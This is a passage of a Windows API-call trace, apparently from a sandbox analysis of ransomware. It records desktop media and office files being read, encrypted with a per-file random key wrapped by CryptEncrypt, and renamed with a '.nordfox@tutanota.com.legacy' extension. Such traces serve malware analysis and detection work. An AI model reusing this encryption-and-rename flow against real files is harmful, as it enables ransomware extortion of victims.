nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5088*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.698] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.698] CloseHandle (hObject=0x5e4) returned 1 [0111.698] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5088 | out: hHeap=0x520000) returned 1 [0111.698] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0111.698] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\N9ikaULK4pWv DBBCI.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\n9ikaulk4pwv dbbci.m4a"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\N9ikaULK4pWv DBBCI.m4a.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\n9ikaulk4pwv dbbci.m4a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.700] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7da8 | out: hHeap=0x520000) returned 1 [0111.700] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0111.700] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0111.700] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0111.700] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0111.700] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0111.700] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0111.700] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0111.700] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\N7p7MpyNnOCQiqSD.flv", dwFileAttributes=0x80) returned 1 [0111.701] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0111.701] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7b80 [0111.701] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0111.701] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\N7p7MpyNnOCQiqSD.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\n7p7mpynnocqiqsd.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.701] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=89433) returned 1 [0111.702] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x15d59) returned 0x5e9bd0 [0111.702] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x15d59) returned 0x2f40050 [0111.703] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x15d59, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x15d59, lpOverlapped=0x0) returned 1 [0111.707] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-89433, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.707] WriteFile (in: hFile=0x5e4, lpBuffer=0x2f40050*, nNumberOfBytesToWrite=0x15d59, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x15d59, lpOverlapped=0x0) returned 1 [0111.707] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.709] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0111.712] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x15d59 [0111.712] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.712] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.713] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.713] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.713] CloseHandle (hObject=0x5e4) returned 1 [0111.713] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0111.714] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0111.714] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\N7p7MpyNnOCQiqSD.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\n7p7mpynnocqiqsd.flv"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\N7p7MpyNnOCQiqSD.flv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\n7p7mpynnocqiqsd.flv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.716] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7b80 | out: hHeap=0x520000) returned 1 [0111.716] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0111.716] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0111.717] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0111.717] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4110 [0111.717] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0111.717] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0111.717] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0111.717] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\N36jzbkDih.ppt", dwFileAttributes=0x80) returned 1 [0111.717] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0111.717] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563f48 [0111.717] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0111.717] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\N36jzbkDih.ppt" (normalized: "c:\\users\\fd1hvy\\desktop\\n36jzbkdih.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.718] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=85667) returned 1 [0111.718] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14ea3) returned 0x5e9bd0 [0111.718] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14ea3) returned 0x2f40050 [0111.719] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x14ea3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x14ea3, lpOverlapped=0x0) returned 1 [0111.723] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-85667, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.723] WriteFile (in: hFile=0x5e4, lpBuffer=0x2f40050*, nNumberOfBytesToWrite=0x14ea3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14ea3, lpOverlapped=0x0) returned 1 [0111.724] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0111.728] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14ea3 [0111.728] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.728] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.730] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.730] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.730] CloseHandle (hObject=0x5e4) returned 1 [0111.730] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4110 | out: hHeap=0x520000) returned 1 [0111.730] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0111.730] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\N36jzbkDih.ppt" (normalized: "c:\\users\\fd1hvy\\desktop\\n36jzbkdih.ppt"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\N36jzbkDih.ppt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\n36jzbkdih.ppt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.732] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f48 | out: hHeap=0x520000) returned 1 [0111.732] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0111.732] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0111.733] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0111.733] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0111.733] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0111.733] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0111.733] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0111.733] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\mtdTmZhWX.jpg", dwFileAttributes=0x80) returned 1 [0111.733] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0111.733] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5638b8 [0111.733] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0111.734] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\mtdTmZhWX.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\mtdtmzhwx.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.734] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=58876) returned 1 [0111.734] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe5fc) returned 0x5e9bd0 [0111.734] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe5fc) returned 0x5f81d8 [0111.734] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xe5fc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xe5fc, lpOverlapped=0x0) returned 1 [0111.737] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-58876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.737] WriteFile (in: hFile=0x5e4, lpBuffer=0x5f81d8*, nNumberOfBytesToWrite=0xe5fc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f81d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe5fc, lpOverlapped=0x0) returned 1 [0111.737] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.737] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f81d8 | out: hHeap=0x520000) returned 1 [0111.738] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe5fc [0111.738] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.739] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.740] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.740] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.740] CloseHandle (hObject=0x5e4) returned 1 [0111.740] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0111.740] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0111.740] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\mtdTmZhWX.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\mtdtmzhwx.jpg"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\mtdTmZhWX.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\mtdtmzhwx.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.744] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0111.744] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0111.744] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0111.744] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0111.744] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0111.744] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0111.744] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0111.745] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0111.745] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\MNs390DDv--XaD9.mkv", dwFileAttributes=0x80) returned 1 [0111.745] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0111.745] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7e60 [0111.745] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0111.745] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\MNs390DDv--XaD9.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\mns390ddv--xad9.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.745] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=45998) returned 1 [0111.746] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb3ae) returned 0x5e9bd0 [0111.746] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb3ae) returned 0x5f4f88 [0111.746] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xb3ae, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xb3ae, lpOverlapped=0x0) returned 1 [0111.748] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-45998, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.748] WriteFile (in: hFile=0x5e4, lpBuffer=0x5f4f88*, nNumberOfBytesToWrite=0xb3ae, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f4f88*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb3ae, lpOverlapped=0x0) returned 1 [0111.749] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.749] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f4f88 | out: hHeap=0x520000) returned 1 [0111.750] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb3ae [0111.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.751] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.752] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.752] CloseHandle (hObject=0x5e4) returned 1 [0111.752] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0111.752] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0111.752] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\MNs390DDv--XaD9.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\mns390ddv--xad9.mkv"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\MNs390DDv--XaD9.mkv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\mns390ddv--xad9.mkv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7e60 | out: hHeap=0x520000) returned 1 [0111.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0111.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0111.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0111.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0111.756] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0111.756] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0111.756] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0111.756] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\LQ8cpsXke.wav", dwFileAttributes=0x80) returned 1 [0111.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d710 [0111.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563c00 [0111.757] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0111.757] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\LQ8cpsXke.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\lq8cpsxke.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0111.757] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=42658) returned 1 [0111.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa6a2) returned 0x5e9bd0 [0111.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa6a2) returned 0x5f4280 [0111.757] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xa6a2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xa6a2, lpOverlapped=0x0) returned 1 [0111.759] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-42658, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.760] WriteFile (in: hFile=0x5e4, lpBuffer=0x5f4280*, nNumberOfBytesToWrite=0xa6a2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f4280*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa6a2, lpOverlapped=0x0) returned 1 [0111.760] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0111.760] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f4280 | out: hHeap=0x520000) returned 1 [0111.761] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa6a2 [0111.761] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0111.761] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0111.762] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0111.764] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0111.764] CloseHandle (hObject=0x5e4) returned 1 [0111.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0111.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0111.764] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\LQ8cpsXke.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\lq8cpsxke.wav"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\LQ8cpsXke.wav.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\desktop\\lq8cpsxke.wav.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0111.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563c00 | out: hHeap=0x520000) returned 1 [0111.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0111.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0111.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d088 [0111.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0111.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 